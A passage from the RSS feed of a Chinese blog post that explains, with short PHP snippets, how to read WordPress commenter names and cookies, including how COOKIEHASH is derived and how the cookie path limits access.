</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$comment_author</span><span style="color: #339933;">;</span> <span style="color: #096;">//名称栏 ?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$comment_author_email</span><span style="color: #339933;">;</span> <span style="color: #096;">//邮箱栏 ?&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$comment_author_url</span><span style="color: #339933;">;</span> <span style="color: #096;">//网址栏 ?&gt;</span></pre></td></tr></table></div>

<p><strong>6. 单独获取WP评论者昵称（站内，模板外）：</strong></p>
<p>> 这个是WP中定义COOKIEHASH常量的代码，嘎嘎 O(∩_∩)O。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #096;">/**
 * Used to guarantee unique hash cookies
 * @since 1.5
 */</span>
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'COOKIEHASH'</span><span style="color: #339933;">,</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'siteurl'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">echo</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'comment_author_'</span><span style="color: #339933;">.</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://127.0.0.1/wp'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//所以这样子就可以把 WP 中的评论者名字单独取出来了</span></pre></td></tr></table></div>

<p>> 若是WP安装在 /wp 目录里，那么保存 Cookie 的时候设置的 Path 就是 /wp。<br />
> 也就是说，如果你把上面代码放在 /wp 目录上一层是无效的，比如这里 / 或者 /cookie。</p>
<p><img src="http://www.evlos.org/ev-box/myimg/uploads/old/Capture1054.jpg" /></p>
<p>> 牛叉的星际传送门 - <a target="_blank" href="http://www.evlos.org/ev-box/demo/cookie/wp.php">http://www.evlos.org/ev-box/demo/cookie/wp.php</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/04/php-control-the-cookies/feed/</wfw:commentRss>
		<slash:comments>107</slash:comments>
		</item>
	</channel>
</rss>
